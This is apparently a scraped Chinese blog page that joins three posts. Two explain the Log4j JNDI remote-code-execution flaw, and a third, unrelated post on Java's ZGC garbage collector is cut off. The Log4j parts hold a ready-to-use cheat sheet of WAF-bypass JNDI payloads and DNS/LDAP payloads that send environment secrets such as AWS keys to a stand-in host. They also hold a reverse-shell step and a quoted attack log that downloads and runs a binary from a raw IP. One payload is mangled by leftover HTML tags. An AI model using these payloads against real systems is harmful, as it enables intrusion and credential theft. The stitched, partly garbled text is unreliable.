#然后先 base64 编码然后对编码后的特殊字符进行 2 层 url 转码

这台要用第一个命令,题目限定了
payload=${jndi:ldap:1 / 服务器 ip:1389/basic/Command/Base64 / 二层转码之后的字符}

反弹shell后执行即可

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

知识点分析

受影响版本
Apache log4j 2.0-beta9 ≤ 2.14.1
组件
org.apache.logging.log4j,且版本号小于2.15.0-rc2

ldap基础知识以及服务原因

payload总结

参考知识点:来源团队的雪晴师傅的
https://www.yuque.com/yq1ng/java/pbica2#xrVeI
基础payload
${jndi:ldap://t00ls.com/poc
绕过的一些payload

${jndi:ldap://domain.com/j}
${jndi:ldap:/domain.com/a}
${jndi:dns:/domain.com}
${jndi:dns://domain.com/j}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
${${::-j}ndi:rmi://domain.com/j}
${jndi:rmi://domainldap.com/j}
${${lower:jndi}:${lower:rmi}://domain.com/j}
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}
jn${env::-}di:
jn${date:}di${date:':'}
j${k8s:k5:-ND}i${sd:k5:-:}
j${main:\k5:-Nd}i${spring:k5:-:}
j${sys:k5:-nD}${lower:i${web:k5:-:}}
j${::-nD}i${::-:}
j${EnV:K5:-nD}i:
j${loWer:Nd}i${uPper::}

信息泄露(主要是针对不出网的)

${jndi:ldap://${env:user}.domain.com/exp}
${jndi:dns://${hostName}.domain.com/a}
${jndi:dns://${env:COMPUTERNAME}.domain.com/a}
${jndi:dns://${env:USERDOMAIN}.domain.com/a}
${jndi:dns://${env:AWS_SECRET_ACCESS_KEY.domain.com/a}
${jndi:ldap://${ctx:loginId}.domain.com/j}
${jndi:ldap://${map:type}.domain.com/j}
${jndi:ldap://${filename}.domain.com/j}
${jndi:ldap://${date:MM-dd-yyyy}.domain.com/j}
${jndi:ldap://${docker:containerId}.domain.com/j}
${jndi:ldap://${docker:containerName}.domain.com/j}
${jndi:ldap://${docker:imageName}.domain.com/j}
${jndi:ldap://${env:USER}.domain.com/j}
${jndi:ldap://${event:Marker}.domain.com/j}
${jndi:ldap://${mdc:UserId}.domain.com/j}
${jndi:ldap://${java:runtime}.domain.com/j}
${jndi:ldap://${java:vm}.domain.com/j}
${jndi:ldap://${java:os}.domain.com/j}
${jndi:ldap://${jndi:logging/context-name}.domain.com/j}
${jndi:ldap://${hostName}.domain.com/j}
${jndi:ldap://${docker:containerId}.domain.com/j}
${jndi:ldap://${k8s:accountName}.domain.com/j}
${jndi:ldap://${k8s:clusterName}.domain.com/j}
${jndi:ldap://${k8s:containerId}.domain.com/j}
${jndi:ldap://${k8s:containerName}.domain.com/j}
${jndi:ldap://${k8s:host}.domain.com/j}
${jndi:ldap://${k8s:labels.app}.domain.com/j}
${jndi:ldap://${k8s:labels.podTemplateHash}.domain.com/j}
${jndi:ldap://${k8s:masterUrl}.domain.com/j}
${jndi:ldap://${k8s:namespaceId}.domain.com/j}
${jndi:ldap://${k8s:namespaceName}.domain.com/j}
${jndi:ldap://${k8s:podId}.domain.com/j}
${jndi:ldap://${k8s:podIp}.domain.com/j}
${jndi:ldap://${k8s:podName}.domain.com/j}
${jndi:ldap://${k8s:imageId}.domain.com/j}
${jndi:ldap://${k8s:imageName}.domain.com/j}
${jndi:ldap://${log4j:configLocation}.domain.com/j}
${jndi:ldap://${log4j:configParentLocation}.domain.com/j}
${jndi:ldap://${spring:spring.application.name}.domain.com/j}
${jndi:ldap://${main:myString}.domain.com/j}
${jndi:ldap://${main:0}.domain.com/j}
${jndi:ldap://${main:1}.domain.com/j}
${jndi:ldap://${main:2}.domain.com/j}
${jndi:ldap://${main:3}.domain.com/j}
${jndi:ldap://${main:4}.domain.com/j}
${jndi:ldap://${main:bar}.domain.com/j}
${jndi:ldap://${name}.domain.com/j}
${jndi:ldap://${marker}.domain.com/j}
${jndi:ldap://${marker:name}.domain.com/j}
${jndi:ldap://${spring:profiles.active[0].domain.com/j}
${jndi:ldap://${sys:logPath}.domain.com/j}
${jndi:ldap://${web:rootDir}.domain.com/j}

可检查的标头

Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Authorization
Cache-Control
Cf-Connecting_ip
Client-Ip
Contact
Cookie
DNT
Forwarded
Forwarded-For
Forwarded-For-Ip
Forwarded-Proto
From
If-Modified-Since
Max-Forwards
Origin
Originating-Ip
Pragma
Referer
TE
True-Client-IP
True-Client-Ip
Upgrade
User-Agent
Via
Warning
X-ATT-DeviceId
X-Api-Version
X-Att-Deviceid
X-CSRFToken
X-Client-Ip
X-Correlation-ID
X-Csrf-Token
X-Do-Not-Track
X-Foo
X-Foo-Bar
X-Forward-For
X-Forward-Proto
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded-Ssl
X-Forwarder-For
X-Frame-Options
X-From
X-Geoip-Country
X-HTTP-Method-Override
X-Http-Destinationurl
X-Http-Host-Override
X-Http-Method
X-Http-Method-Override
X-Http-Path-Override
X-Https
X-Htx-Agent
X-Hub-Signature
X-If-Unmodified-Since
X-Imbo-Test-Config
X-Insight
X-Ip
X-Ip-Trail
X-Leakix
X-Originating-Ip
X-ProxyUser-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Request-ID
X-Requested-With
X-UIDH
X-Wap-Profile
X-XSRF-TOKEN
Authorization: Basic 
Authorization: Bearer 
Authorization: Oauth 
Authorization: Token

除ldap以外的其他构造方式

jndi:ldap:/
jndi:rmi:/
jndi:ldaps:/
jndi:dns:/
jndi:nis:/
jndi:nds:/
jndi:corba:/
jndi:iiop:/
jndi:${

可获取查找的信息

${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}

一张脑图(有一说一不是很懂这个)
在这里插入图片描述

批量验证工具

log4j批量检测工具
这个是主动检测的
但是自己测了下,发觉测不出东西
但是主动检测的太少了 还是把这个工具扔在这里
在这里插入图片描述

原理研究

基础知识点

JNDI
全名:Java命名和目录接口,自己理解就是定义一个名称去绑定对象或者资源进而进行操控
作用:将名称与java对象或资源关联起来,进行通过名称调用到对应的对象或者资源
可操控的目录与服务有: DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、WindowsXP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

运用方法:
如JNDI数据源配置(使用的原因 只配置一次①加载数据库驱动程序、②连接数据库、④关闭数据库,释放连接,减少性能消耗)
这个师傅讲的比较好了 这里就不讲了

参考链接

在这里插入图片描述

LDAP(轻量目录访问协议)
LDAP目录服务:由目录数据库和一套访问协议组成的系统。
作用:即存储描述属性的数据和详细信息的数据库。
四种模型:

信息模型
命名模型
功能模型
安全模型

连接LDAP数据库方法:

$ldapconn = ldap_connect(“10.1.8.78")
$ldapbind = ldap_bind($ldapconn, 'username', $ldappass);
$searchRows= ldap_search($ldapconn, $basedn, "(cn=*)");
$searchResult = ldap_get_entries($ldapconn, $searchRows);
ldap_close($ldapconn);

lookup:允许在写日志的时候,通过关键词去查找对象,输出对象,并实现对象功能。这个对象可以存储在硬盘中或者服务器上。

这个漏洞调用的就是这个接口

Codebase
概念:一种服务
作用:存储代码或者编译文件作用,可通过名称进行编译文件或者获取代码。

RMI协议:
概念:远程方法调用协议,通过网络从远程计算机上请求调用某种服务。(只适合java)

原理:

1.客户调用客户端辅助对象stub上的方法
2.客户端辅助对象stub打包调用信息(变量,方法名),通过网络发送给服务端辅助对象skeleton
3.服务端辅助对象skeleton将客户端辅助对象发送来的信息解包,找出真正被调用的方法以及该方法所在对象
4.调用真正服务对象上的真正方法,并将结果返回给服务端辅助对象skeleton
5.服务端辅助对象将结果打包,发送给客户端辅助对象stub
6.客户端辅助对象将返回值解包,返回给调用者
7.客户获得返回值

在这里插入图片描述

漏洞原理知识点:

加载原理:通过rmi进行从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类,进而造成RCE漏洞
在这里插入图片描述
在这里插入图片描述
详细跟进分析
完整的调用链

lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:223, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
log:485, LoggerConfig (org.apache.logging.log4j.core.config)
log:460, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:8, log4jRCE

这里要重点关注的几个点,其余的点几乎都是调用方法或者是进行过滤操作获取数字等

①这里进行判断了日志等级 如果是小于配置文件的即不能进入 this.logMessage()进行触发漏洞
日志等级 默认只要大于error()和fatal()可以触发漏洞就可以触发漏洞了 具体看配置情况

日志一共分为8个级别,由低到高依次为:All < Trace < Debug < Info < Warn < Error < Fatal < OFF。
1.All:最低等级的,用于打开所有日志记录。
2.Trace:是追踪,就是程序推进以下,你就可以写个trace输出,所以trace应该会特别多,不过没关系,我们可以设置最低日志级别不让他输出。
3.Debug:指出细粒度信息事件对调试应用程序是非常有帮助的。
4.Info:消息在粗粒度级别上突出强调应用程序的运行过程。
5.Warn:输出警告及warn以下级别的日志。
6.Error:输出错误信息日志。
7.Fatal:输出每个严重的错误事件将会导致应用程序的退出的日志。
8.OFF:最高等级的,用于关闭所有日志记录。

在这里插入图片描述

配置的最低等级的文件数值在org/apache/logging/log4j/spi/StandardLevel.java中

②log:460, LoggerConfig (org.apache.logging.log4j.core.config)这个地方
上面的东西查了下感觉就是线程相关所以可以不看 核心还是log的方法
在这里插入图片描述

③MessagePatternConverter方法
在这里插入图片描述
④跟replace方法
调用substitute方法
在这里插入图片描述
先调用一个substitute的方法

然后调用另外一个substitute的重载函数进行处理数据
⑤研究substitute方法
初始化定义的一些变量名
在这里插入图片描述

采用while循环逐个去寻找前缀这里的前缀定义即是$和{字符
进行前缀匹配
在这里插入图片描述

寻找后缀唯一区别就是可以理解为一个从前查找一个从后查找
在这里插入图片描述

然后进行匹配 :- 和 :
对于这种字符的处理 看一个师傅的说法是
:-
赋值关键字,如果程序处理到 ${aaaa:-bbbb} 这样的字符串,处理的结果将会是 bbbb
:-
是转义的 :-,如果一个用 a:b 表示的键值对的 key a 中包含 :,则需要使用转义来配合处理,例如 ${aaa:\-bbb:-ccc},代表 key 是,aaa:bbb,value 是 ccc。
这也是绕waf的的一些原因

因此结合这些递归解析以及特性我们可以进行绕waf
构造出一些类似于如此的一些payload去绕

{{::-j}::n</span><spanclass="tokenvariable">{::-n}</span><span class="token variable">{::-d}::i</span><spanclass="tokenkeyword">:</span><spanclass="tokenvariable">{::-i}</span><span class="token keyword">:</span><span class="token variable">{::-r}::m</span><spanclass="tokenvariable">{::-m}</span><span class="token variable">{::-i}😕/domain.com/j}

在这里插入图片描述

在这里插入图片描述
然后在匹配完后调用resolveVariable解析满足 Lookup 功能的语法 也就是这里调用的lookup去产生漏洞的

如支持的协议 即按照协议的语法去进行解析
date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
这里的作用是
进行执行完lookup,然后将结果替换回原字符串后,再次调用 substitute 方法进行递归解析

⑥跟lookup方法:产生漏洞的核心原因
在这里插入图片描述
在这里插入图片描述
然后接着跟
发觉核心就两部分
①判断前缀部分
②调用执行部分即调用jndiManager.lookup解析请求,最终形成注入漏洞.
在这里插入图片描述

# 关于我

Brath 是一个热爱技术的 Java 程序猿,公众号「InterviewCoder」定期分享有趣有料的精品原创文章!

InterviewCoder

非常感谢各位人才能看到这里,原创不易,文章如果有帮助可以关注、点赞、分享或评论,这都是对我的莫大支持!

【Log4J】关于最近比较火的log4j研究

InterviewCoder

# 【Log4J】关于最近比较火的 log4j 研究

最近log4j的安全漏洞搞得程序员人心慌慌,宣称为核弹级bug ,然后自己也找时间了解测试了一下。

Log4j是Apache的一个开源项目,通过使用Log4j,可以控制日志信息输送的目的地是控制台、文件等位置,是程序运行调试追溯问题发生位置的重要手段。

 如上,我们自定义username模仿前端请求数据,通过LOGGER.info打印登录的用户名,我们就可以在控制台查看打印的信息。这样我们就可以记录登录的用户。

前端传入什么参数,就会在控制台打印出相应参数。

但当我们传入一些特定参数的时候,打印结果就与期待结果有点不一样了,我们用${java:os}登录打印的却是本机系统信息。

 为什么会产生这种奇怪的现象呢?

是因为log4j提供了一个lookup的功能,对lookup功能不熟悉的也没有关系,你知道有这么个方法,可以把一些系统变量放到日志中就可以了。是不是有点sql注入的味道了。

 如果只是打印一些简单的系统信息到还没有什么安全隐患。

但离谱的是 log4j 还提供了关于 jndi 的占位符。

jndi 可以理解为http 地址,log4j会自动加载通过 jndi 从远程服务器获取的 java 对象。就是说黑客用一个特殊标记的jndi字符串登录你的服务器,然后在你打印日志的时候,通过log4j识别远程调用黑客指定服务器的java对象,相当于在你的代码中植入了一段黑客的代码,他可以在这个java对象中写入任何逻辑,比如说植入一个挖矿程序啊,甚至删除你服务器上的任何文件,你说恐怖不 。

下面我写了一个示例代码:

我的service程序仍然是模拟简单的用户登录打印日志。但是登录用户确是一段包含特殊字符的字符串。

 运行起来发现被植入了一段特殊的字符。

 这不是被人黑了吗。

下面是我模拟的黑客自己搭建的攻击服务,可以选择性观看。

127.0.0.1:80是我启动的一台nginx服务器,在其html文件下将编译好的EviObj的class文件放在了其下面。

EviObj类里面只有一个简答的打印代码。

 然后就出现了之前的注入问题。

简单来说,就是log4j识别了字符串包中特殊的${jndi:rmi: },log4j对其进行了远程调用,而黑客输入的地址正好是他部好侵入代码的地址,这样就在我们的代码中植入了黑客的代码。

关于如何避免,我当然要看一下我们公司的程序会不会被攻击呀。

如果你使用了 Java 8 或以上版本,基本对你没有什么危害。因为在 Java 8 中添加了一个新的属性 com.sun.jndi.rmi.object.trustURLCodebase,这是一个 boolean 类型。默认值是 false。

其实我刚才的代码也是隐藏了一部分,我把这个属性打开了才实验成功的。

 而我们用的就是jdk8,所以第一个条件我们就规避成功避免了注入的条件。

其次log4j的版本是log4j 2.x  -- log4j 2.4.0之间,如果处于这个版本区间需要升级到2.5.0版本方可。

而我们公司使用的版本是1.7.25版本 。

然后最近我发现我们华为云上的一个项目确实被攻击了o(╥﹏╥)o,应该没有成功。

日志内容如下:

 第一段

{${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}

${env:NaN:-j} 等于 j 

${env:NaN:-:} 等于:

${env:NaN:-l} 等于 l

那解析完不就是${jndi:ldap: xxxx},靠真是jndi注入

然后再看bease 64部分解析结果如下:

 wget http://209.141.46.114/reader : 网站下载reader文件

chmod 777 reader : 修改reader权限为 777

./reader runner :运行reader文件

真是太阴险了,谁知道这reader是什么病毒啊 [○・`Д´・ ○]

我还真去下载了一下这个reader,但现在下来发现是编译后文件又用upx加壳的文件,解壳后又要反编译,我没有反编译出来也就只能到此为止了。

## 关于我

Brath 是一个热爱技术的 Java 程序猿,公众号「InterviewCoder」定期分享有趣有料的精品原创文章!

InterviewCoder

非常感谢各位人才能看到这里,原创不易,文章如果有帮助可以关注、点赞、分享或评论,这都是对我的莫大支持!

【JVM】极致低延迟收集器ZGC探索——亚毫秒级,常数级暂停O(1)原理

InterviewCoder

# 【JVM】极致低延迟收集器 ZGC 探索 —— 亚毫秒级,常数级暂停 O (1) 原理

ZGC 收集器

ZGC收集器(Z Garbage Collector)是由Oracle公司为HotSpot JDK研发的,最新一代垃圾收集器。有说法使用这个名目标是取代之前的大部分垃圾收集器,所以才叫ZGC,表示极致的Extremely,或者最后的,垃圾收集器。类似 ZFS(文件系统),ZFS(文件系统)在它刚问世时在许多方面都是革命性的。

ZGC官网

但是ZGC官方文档说ZGC这只是个名字,不代表任何含义。看你相信哪种了,笑

  • 设计目标
    希望能在尽可能对吞吐量影响不太大的前提下,实现在任意堆内存大小下都可以把垃圾收集的停顿时间限制在10ms以内的低延迟。
    • 停顿时间不超过10ms;
    • 停顿时间不会随着堆的大小,或者活跃对象的大小而增加;
    • 支持8MB~4TB级别的堆(未来支持16TB)。

主流的常见操作系统,比如Linux,Windows,MacOS,FreeBSD都是非实时操作系统。非实时操作系统的一个处理器时间片都在5~20毫秒,面向服务端的系统一个线程调度事件需要3-5个时间片,客户端系统则更多。10毫秒停顿已经可以认为是系统误差级的停顿,低于 Linux 内核的背景噪声,即调度开销和系统调用开销,此时ZGC基本已经成为无停顿GC。

ZGC设计目标停顿时间在10ms以下,10ms其实是一个很保守的数据,在SPECjbb 2015基准测试中,128G的大堆下最大停顿时间才1.68ms,远低于10ms。
而且ZGC目前的进展很快,在JDK17的测试中和shenandoah gc双双实现了亚毫秒(<1ms)的GC暂停。
Shenandoah in OpenJDK 17: Sub-millisecond GC pauses | Red Hat Developer
不负极致之名,Java17之后采用ZGC是最好的选择。

ZGC历程

在Java11推出实验性的ZGC以来,历经数年开发,ZGC在当前已经新增了众多特性。
一些关于ZGC特性、原理的文章已经稍有过时,比如ZGC只支持4TB大小的堆,ZGC不支持类卸载,ZGC只支持Linux/x64架构等。

不过通过这些文章对ZGC进行了解还是可行的。

ZGC各版本特性变化

  • JDK 12
    • 支持并发类卸载
  • JDK 13
    • 支持最大堆从4TB提升到16TB
    • 支持Linux/AArch64架构
    • 支持归还未使用内存
  • JDK 14
    • 支持MacOS/x64、Windows/x64架构
    • 支持最低8M的小堆
  • JDK 15
    • 生产就绪
    • 支持类数据共享(CDS)
    • 支持压缩类指针(对象头)
    • 支持渐进式归还内存
  • JDK 16
    • 新增并发线程栈扫描特性
    • 支持对象就地迁移
    • 支持Windows/aarch64架构
  • JDK 17
    • 新增动态GC线程数特性
    • 新增JVM快速退出特性
    • 支持macOS/aarch64架构
  • JDK 18
    • 支持字符串重复数据删除
    • 支持Linux/PowerPC架构

ZGC 特性

  • 完全并发
  • 使用着色指针
  • 使用读屏障
  • 基于区块的内存模型
  • 支持就近分配的NUMA处理器架构
  • 压缩内存

其中完全并发的能力,是通过着色指针,读屏障,基于区块的内存模型来实现的,算是ZGC的基础特性。后面会首先研究。
支持就近分配的NUMA处理器架构,压缩内存等是性能提升措施,会在完全并发之后介绍。

基于区块的内存模型

类似于G1,ZGC也采用基于区块(Region)的堆内存布局,每个区块被称为ZPage。不同于G1的是,ZGC的区块具有动态性。ZGC的区块,支持动态创建和销毁,支持动态的区域容量大小变化。
ZGC区块分为以下几种

  • 小型区块(Small Region):
    容量固定为2MB,用于放置小于256KB的小对象。

  • 中型区块(Medium Region):
    容量固定为32MB,用于放置大于等于256KB但小于4MB的对象。

  • 大型区块(Large Region):
    容量不固定,可以动态变化,但必须为2MB的整数倍,用于放置4MB或以上的大对象。每个大型Region中只会存放一个大对象,所以实际容量可能小于中型Region,最小容量可低至4MB。大型Region在ZGC的实现中是不会被重分配的,因为复制一个大对象的代价非常高昂。

ZPage
可以看到相比G1,ZGC的区块动态性不包括堆内存的每个区块可以根据运行情况的需要,扮演年轻代的Eden、Survivor区域、老年代区域、或者大对象(Humongous)区域。这是因为ZGC目前并不支持分代垃圾回收,没错,ZGC这个强大的收集器目前并不支持分代,据说是因为实现分代太复杂了,连Oracle团队也比较棘手。但不代表ZGC就不会用分代模型,已经有让ZGC支持分代回收的提案了JEP439,就看未来什么时候能实现。

完全并发原理

ZGC的最大特性就是做到了GC过程中的大部分阶段都能和用户线程并发,只有极少阶段(<1ms)需要停顿,那么ZGC是如何做到的呢?

G1的回收时停顿

G1和ZGC都基于标记-复制算法,但算法具体实现的不同就导致了巨大的性能差异。

以G1为例,通过G1中标记-复制算法过程(G1的Young GC和Mixed GC均采用该算法),分析G1的混合回收中停顿耗时的主要瓶颈。
G1中标记-复制算法过程
已知G1混合回收采用了标记—复制的算法,混合回收(MixedGC)过程可以分为标记阶段、筛选回收阶段。其中筛选回收又分为清理阶段和复制阶段。

  • 标记阶段停顿分析 耗时较短
    • 初始标记阶段:初始标记阶段是指从GC Roots出发标记全部直接子节点的过程,该阶段是STW的。由于GC Roots数量不多,通常该阶段耗时非常短。
    • 并发标记阶段:并发标记阶段是指从GC Roots开始对堆中对象进行可达性分析,找出存活对象。该阶段是并发的,即应用线程和GC线程可以同时活动。并发标记耗时相对长很多,但因为不是程序停顿,所以我们不太关心该阶段耗时的长短。
    • 再标记阶段:重新标记那些在并发标记阶段发生变化的对象。该阶段是STW的。
  • 清理阶段停顿分析 耗时较短
    清理阶段识别出有存活对象的分区和没有存活对象的分区,该阶段不会清理垃圾对象,也不会执行存活对象的复制。该阶段是程序停顿的。
  • 复制阶段停顿分析 耗时较长
    复制算法中的转移阶段需要分配新内存和复制对象的成员变量。转移阶段是程序停顿的,其中内存分配通常耗时非常短,但对象成员变量的复制耗时有可能较长,这是因为复制耗时与存活对象数量与对象复杂度成正比。对象越复杂,复制耗时越长。

四个STW过程中,初始标记因为只标记GC Roots,耗时较短。再标记因为对象数少,耗时也较短。清理阶段因为内存分区数量少,耗时也较短。 复制-转移阶段要处理所有存活的对象,耗时会较长。因此,G1停顿时间的瓶颈主要是标记-复制算法中的复制-转移阶段的程序停顿 。为什么转移阶段不能和标记阶段一样并发执行呢?主要是G1未能解决转移过程中准确定位对象地址的问题。

ZGC的标记—复制算法

与G1类似,ZGC也采用标记-复制算法,不过ZGC对该算法做了重大改进:ZGC在标记、转移和重定位阶段几乎都是并发的,这是ZGC实现停顿时间小于10ms目标的最关键原因。

ZGC的标记—复制算法
ZGC中的一次垃圾回收过程会被分为十个步骤:初始标记、并发标记、再次标记、并发转移准备:[非强引用并发标记、重置转移集、回收无效页面(区)、选择目标回收页面、初始化转移集(表)]、初始转移、并发转移。但是只有三个阶段需要停顿(STW):初始标记,再标记,初始转移。其中,初始标记和初始转移分别都只需要扫描所有GC Roots,其处理时间和GC Roots的数量成正比,一般情况耗时非常短;再标记阶段STW时间很短,最多1ms,超过1ms则再次进入并发标记阶段。即,ZGC几乎所有暂停都只依赖于GC Roots集合大小,停顿时间不会随着堆的大小或者活跃对象的大小而增加。与ZGC对比,G1的转移阶段完全STW的,且停顿时间随存活对象的大小增加而增加。

  • ①初始标记
    这个阶段会触发STW,仅标记根可直达的对象,并将其压入到标记栈中,在该阶段中也会发生一些其他动作,如重置 TLAB、判断是否要清除软引用等。
  • ②并发标记
    根据「初始标记」的根对象开启多条GC线程,并发遍历对象图,同时也会统计每个分区/页面中的存活对象数量。
  • ③再次标记
    这个阶段也会出现短暂的STW,因为「并发标记」阶段中应用线程还是在运行的,所以会修改对象的引用导致漏标的情况出现,因此需要再次标记阶段来标记漏标的对象(如果此阶段停顿时间过长,ZGC会再次进入并发标记阶段重新标记)。
  • 并发转移准备
    4~8阶段都是并发转移对象的准备阶段,各子阶段又分别处理了不同事务
    • ④非强引用并发标记和引用并发处理
      遍历前面过程中的非强引用类型根对象,但并不是所有非强根对象都可并发标记,有部分不能并发标记的非强根对象会在前面的「再次标记」阶段中处理。同时也会标记堆中的非强引用类型对象。
    • ⑤重置转移集/表
      重置上一次GC发生时,转移表中记录的数据,方便本次GC使用。
      在ZGC中,因为在回收时需要把一个分区中的存活对象转移进另外一个空闲分区中,而ZGC的转移又是并发执行的,因此,一条用户线程访问堆中的一个对象时,该对象恰巧被转移了,那么这条用户线程根据原本的指针是无法定位对象的,所以在ZGC中引入了转移表forwardingTable的概念。
      转移表可以理解为一个Map<OldAddress,NewAddress>结构的集合,当一条线程根据指针访问一个被转移的对象时,如果该对象已经被转移,则会根据转移表的记录去新地址中查找对象,并同时会更新指针的引用。
    • ⑥回收无效分区/页面
      回收物理内存已经被释放的无效的虚拟内存页面。ZGC是一款支持返还堆内存给物理机器的收集器,在机器内存紧张时会释放一些未使用的堆空间,但释放的页面需要在新一轮标记完成之后才能释放,所以在这个阶段其实回收的是上一次GC释放的空间。
    • ⑦选择待回收的分区/页面
      ZGC与G1收集器一样,也会存在「垃圾优先」的特性,在标记完成后,整个堆中会有很多分区可以回收,ZGC也会筛选出回收价值最大的页面来作为本次GC回收的目标。
    • ⑧初始化待转移集合的转移表
      初始化待回收分区/页面的转移表,方便记录区中存活对象的转移信息。
      注:每个页面/分区都存在一个转移表forwardingTable
  • ⑨初始转移
    这个阶段会发生STW,遍历所有GCRoots节点及其直连对象,如果遍历到的对象在回收分区集合内,则在新的分区中为该对象分配对应的空间。不过值得注意的是:该阶段只会转移根对象(也就是GCRoots节点直连对象)。
  • ⑩并发转移
    这个阶段与之前的「并发标记」很相似,从上一步转移的根对象出发,遍历目标区域中的所有对象,做并发转移处理。

ZGC对象定位

ZGC通过着色指针和读屏障技术,解决了转移过程中准确访问对象的问题,实现了并发转移。大致原理描述如下:并发转移中“并发”意味着GC线程在转移对象的过程中,应用线程也在不停地访问对象。假设对象发生转移,但对象地址未及时更新,那么应用线程可能访问到旧地址,从而造成错误。而在ZGC中,应用线程访问对象将触发“读屏障”,如果发现对象被移动了,那么“读屏障”会把读出来的指针更新到对象的新地址上,这样应用线程始终访问的都是对象的新地址。那么,JVM是如何判断对象被移动过呢?就是利用对象引用的地址,即着色指针。

着色指针 Color Pointer

已知Java虚拟机垃圾回收时的可达性分析使用了标记-整理类算法。从垃圾回收扫描根集合开始标记存活对象,那么这些标记被储存在哪里?

HotSpot虚拟机的标记实现方案有如下几种

  • 把标记直接记录在对象头上
    如Serial收集器
  • 把标记记录在与对象相互独立的数据结构上
    如G1、Shenandoah使用了一种相当于堆内存的1/64大小的,称为BitMap的结构来记录标记信息
  • 直接把标记信息记在引用对象的指针上
    如ZGC

为什么可以把引用关系放在指针上?

可达性分析算法的标记阶段就是看有没有引用,所以可以只和指针打交道而不管指针所引用的对象本身。
例如使用三色标记法标记对象是否可达,这些标记本质上只和对象引用有关,和对象本身无关。只有对象的引用关系才能决定它的存活。

着色指针是一种直接将少量额外的信息存储在对象指针上的技术。目前在X64架构的操作系统中高16位是不能用来寻址的。程序只能使用低48位,
ZGC将低48位中的高4位取出,用来存储4个标志位。剩余的44位可以支持16TB(2的44次幂)的内存,也即ZGC可以管理的内存不超过16TB。
4个标志位即着色位,所以这种指针被称为着色指针。
在ZGC中标记信息被直接记在引用对象的着色指针上,这样通过对象着色指针就可以获取 GC 标记,解决转移过程中准确定位对象地址的问题。

因此,ZGC只能在64位系统上,因为ZGC的着色指针使用的是44-48位,32位的x86架构系统显然不支持,并且因为ZGC已经把48位可用的指针地址空间全部使用了,自然也不支持压缩指针。
着色指针

压缩指针和压缩类指针是两个不同的特性,后者又叫压缩对象头,ZGC是支持压缩对象头这一特性的,在JDK15后提供。

着色位
ZGC的四个着色位可以记录四种垃圾回收标记状态,即marked0、marked1、remapped、Finalizable,好像给指针染上了四种不同的颜色,所以叫做着色指针。

  • 指针如何实现染色
    指针的原本的作用在于寻址,如果我们想实现染色指针,就得把43~46位赋予特殊含义,这样寻址就不对了。所以最简单的方式是寻址之前把指针进行裁剪,只使用低44位去寻址(最大16TB内存)这样做导致的问题是,需要将裁剪指针寻址地址的 CPU 指令添加到生成的代码中,会导致应用程序变慢。
